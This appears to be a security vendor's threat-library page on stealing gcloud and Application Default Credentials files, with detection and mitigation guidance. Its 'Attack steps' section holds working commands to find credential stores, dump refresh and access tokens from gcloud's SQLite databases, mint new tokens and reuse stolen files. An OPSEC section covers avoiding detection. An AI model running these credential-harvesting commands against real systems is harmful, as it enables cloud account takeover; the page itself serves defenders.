1. Resources
  2. Identity Threats
  3. Google Cloud

gcloud and Application Default Credentials File Theft

Also known as: gcloud credential theft, ADC file theft, application_default_credentials.json theft, gcloud refresh token theft, GOOGLE_APPLICATION_CREDENTIALS theft

An attacker with file access on a developer workstation or CI runner copies the gcloud credential store and Application Default Credentials files, then mints Google Cloud tokens as that user or service account.

Platform
Google Cloud
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
High
Privileges required: Any authenticated identity
Read access to the victim's home directory on a workstation, jump host or build agent: code running as that user, a backup, a disk image or a stolen laptop.
What the attacker gains
Refresh tokens and service account keys that produce Google Cloud access tokens for the victim's identity from any machine, with no password or MFA prompt.
Threat groups
APT3APT33Ember BearFIN13Fox KittenIndrik SpiderKimsukyLeafminerMuddyWaterOilRigRedCurlSalt TyphoonScattered SpiderShinyHuntersand 13 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1552.001, T1528, T1078.004.

How it works

Google Cloud tools keep credentials in plain files in the user's profile so that commands and applications can authenticate without asking each time. There are two separate stores, and Google documents them as distinct:

  • gcloud CLI credentials. gcloud auth login stores credentials in the gcloud configuration directory, and the CLI uses them for later commands until the session expires or the authorization is revoked. The directory also holds the named configurations: the active account, the default project and properties such as auth/impersonate_service_account.
  • Application Default Credentials (ADC). Client libraries look for credentials in a fixed order: the file named by the GOOGLE_APPLICATION_CREDENTIALS environment variable, then the local ADC file that gcloud auth application-default login creates, then the service account attached to the resource, through the metadata server.

The local ADC file is at a well-known location:

Platform Path
Linux, macOS $HOME/.config/gcloud/application_default_credentials.json
Windows %APPDATA%\gcloud\application_default_credentials.json

What a credential file holds depends on its type field:

  • authorized_user: a user credential. It contains an OAuth client ID, a client secret and a refresh token. The refresh token is the prize: it can be exchanged for new access tokens long after any access token in the store has expired.
  • service_account: a service account key file with the private key in it. It works until the key is deleted. See service account key creation and theft.
  • external_account: a workload identity federation configuration. It holds no Google secret, but it names where the external token comes from (a file, a URL or an executable) and which service account is then impersonated.
  • impersonated_service_account: a source credential plus the service account it impersonates.

None of these files is encrypted or bound to the machine. Anyone who can read them can use them elsewhere, which makes this plain credential theft: no vulnerability, no cloud API call and no log entry until the stolen credential is used.

Prerequisites

  • Read access to the victim's profile directory. That can be malware or a malicious package running as the user, another user with root on a shared jump host, a CI job that can read the runner's home directory or workspace, a backup, a virtual disk snapshot or a lost laptop without disk encryption.
  • A credential that is still valid: a refresh token that has not been revoked or expired by the organization's session control, or a service account key that still exists.
  • Outbound access to Google's public endpoints from wherever the attacker uses the files.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Locate the stores

# Where this installation keeps its files
gcloud info --format='value(config.paths.global_config_dir)'

# Which identities and configurations exist
gcloud auth list
gcloud config configurations list

# Without running gcloud: the default locations
ls -la ~/.config/gcloud/
ls -la ~/.config/gcloud/configurations/ ~/.config/gcloud/legacy_credentials/ 2>/dev/null

# A credential file referenced by the environment, common on CI runners
printenv GOOGLE_APPLICATION_CREDENTIALS
Get-ChildItem "$env:APPDATA\gcloud" -Force

The files that matter in the gcloud directory are credentials.db and access_tokens.db (SQLite databases used by the CLI), application_default_credentials.json, the per-account legacy_credentials/<account>/adc.json files, and the configurations/config_* files that show which account and project the victim works with.

2. Classify what you found

# The type field tells you what the file is
grep -o '"type": *"[^"]*"' ~/.config/gcloud/application_default_credentials.json

# Key files and ADC files elsewhere on the host
grep -rlE '"type": *"(service_account|authorized_user|external_account)"' /home /srv /opt 2>/dev/null

# Or scan a directory tree for secrets of all kinds
trufflehog filesystem /home

3. Read the tokens from the gcloud databases

# Current access tokens (valid until they expire)
sqlite3 ~/.config/gcloud/access_tokens.db \
    "select account_id, access_token from access_tokens;"

# Stored credentials, including refresh tokens
sqlite3 ~/.config/gcloud/credentials.db \
    "select account_id, value from credentials;"

4. Mint a fresh access token from a refresh token

The authorized_user JSON, whether from the ADC file or from credentials.db, has the three values Google's token endpoint needs:

curl -s https://oauth2.googleapis.com/token \
    --data client_id="<client_id from the file>" \
    --data client_secret="<client_secret from the file>" \
    --data refresh_token="<refresh_token from the file>" \
    --data grant_type=refresh_token

The response contains a new access_token. Use it directly:

TOKEN=<access_token>
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://cloudresourcemanager.googleapis.com/v3/projects/lab-project-0001"

echo "$TOKEN" > token.txt
gcloud projects list --access-token-file=token.txt

5. Or reuse the files as they are

# Point gcloud at a copy of the victim's whole configuration directory
export CLOUDSDK_CONFIG=/tmp/loot/gcloud
gcloud auth list
gcloud projects list

# Point client libraries and ADC-aware tools at a stolen ADC or key file
export GOOGLE_APPLICATION_CREDENTIALS=/tmp/loot/application_default_credentials.json
gcloud auth application-default print-access-token

# A service account key file can be activated as a gcloud account
gcloud auth activate-service-account --key-file=/tmp/loot/key.json

A configuration that sets auth/impersonate_service_account tells the attacker which service account the victim is allowed to impersonate, and the copied directory will impersonate it on every command. That path continues in service account impersonation.

Impact

The attacker becomes the victim in Google Cloud. For a developer or platform engineer that often means Owner or Editor on several projects, and for a CI runner it means the deployment identity for production. The victim's password and second factor are never involved, so nothing changes for the victim and nothing prompts them.

The access outlives the foothold. The files work from the attacker's own machine, the refresh token keeps producing access tokens until it is revoked or the organization's session length ends it, and a service account key works until someone deletes it. An attacker who was on a laptop for five minutes can return for weeks.

OPSEC and artifacts

  • Copying files instead of running tools. Reading a few files from the profile directory creates no process named gcloud and no network traffic to Google from the victim's machine. The only trace is file access, which is recorded only if the endpoint logs reads of that directory.
  • Nothing in Cloud Audit Logs for the theft. Reading local files is not a cloud event, and the exchange of a refresh token at oauth2.googleapis.com is not written to the victim project's audit logs.
  • Use looks like the victim. API calls made with the stolen credential carry the victim's principalEmail. What differs is protoPayload.requestMetadata.callerIp and often callerSuppliedUserAgent, and the pattern of calls: an attacker's first minutes are usually discovery.
  • Using the victim's network. An operator who proxies through the compromised host removes the address anomaly, at the cost of keeping the foothold alive.
  • Service account keys identify themselves. Requests authenticated with a stolen key file can carry authenticationInfo.serviceAccountKeyName, so the key ID from the stolen file can be searched for directly.
  • Local selection is not proof. A selected account in a configuration file, or a file at the ADC location, shows what the workstation was set up to use. It does not show that a request was made with it; that needs the matching audit entry.

Detection

  • Endpoint monitoring. Alert on processes other than gcloud, the client libraries' host applications and known developer tools opening credentials.db, access_tokens.db, application_default_credentials.json or any file with "type": "service_account". Archive tools and scripting interpreters reading the gcloud directory are the usual signs.
  • Known identity, new origin. A user or service account that appears in Cloud Audit Logs from an address, country or user agent it has never used.
  • Discovery after a quiet period. The same identity suddenly listing projects, reading allow policies or collecting permission denied errors. The permission probing rules cover the cloud side.
  • Session control weakened. A change that lengthens or removes reauthentication for Google Cloud services extends the life of every stolen refresh token. See the session length rules.
  • Key files on workstations. Each one corresponds to a key that someone created. The service account key rules show who created it and when.
protoPayload.authenticationInfo.principalEmail="alice@corp.example.com"
AND NOT protoPayload.requestMetadata.callerIp:"192.0.2."

Replace the address prefix with the networks the user really works from. Admin Activity entries are always available for this search; read operations appear only where Data Access logging is enabled, so a discovery phase made of reads can be invisible.

Mitigation

  • Set a session length for Google Cloud services. The Google Workspace or Cloud Identity session control for the Google Cloud console and gcloud CLI forces reauthentication, which ends the usefulness of a stolen refresh token at the next expiry. Short sessions for privileged users are the most effective single control.
  • Stop distributing service account keys. Developers should use their own identity with impersonation, and pipelines should use workload identity federation. A federation configuration file contains no secret to steal.
  • Limit what a developer identity holds. Day-to-day accounts should not carry Owner or organization-level roles. Privileged work goes through just-in-time elevation or a separate account, so that a stolen workstation credential is a small one.
  • Protect the endpoint. Full-disk encryption, no shared administrative jump hosts with personal gcloud logins, and ephemeral CI runners that do not keep a home directory between jobs.
  • Revoke on any suspicion. Run gcloud auth revoke for the gcloud credentials and gcloud auth application-default revoke for ADC, sign the user out of their Google sessions, and delete or disable any service account key that was on the machine. Revoke both stores: they are separate.
  • Clean up after work. Don't leave ADC files or key files on build agents and shared hosts, and keep credential files out of repositories, images and backups. A file in a repository is a hardcoded credential.
  • Treat credential configuration files as untrusted input. An external_account file from an unknown source can point a workload at attacker-chosen URLs and files, which Google lists as a threat of its own.

Detection rules for this attack

FAQ

Where does the gcloud CLI store credentials?

In its configuration directory, which is ~/.config/gcloud on Linux and macOS and %APPDATA%\gcloud on Windows unless CLOUDSDK_CONFIG points elsewhere. The command gcloud info prints the path. Application Default Credentials created with gcloud auth application-default login are a separate file in the same directory, application_default_credentials.json.

Are gcloud credentials and Application Default Credentials the same thing?

No. Google documents them as two distinct sets. The gcloud CLI uses its own stored credentials, and client libraries use Application Default Credentials. They can belong to different identities on the same machine, so a responder has to revoke both.

Does MFA protect against a stolen refresh token?

Not at the moment of use. The refresh token was issued after the user completed sign-in, including any second factor, and exchanging it for an access token asks for nothing more. What limits it is the session length an administrator sets for Google Cloud services, which forces reauthentication, and revocation of the token.

How can stolen credential files be detected?

Reading a file writes no Google Cloud log. Detection comes from endpoint telemetry on access to the gcloud directory and key files, and from Cloud Audit Logs entries where a known user or service account appears from a new address or user agent, or starts enumerating permissions.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.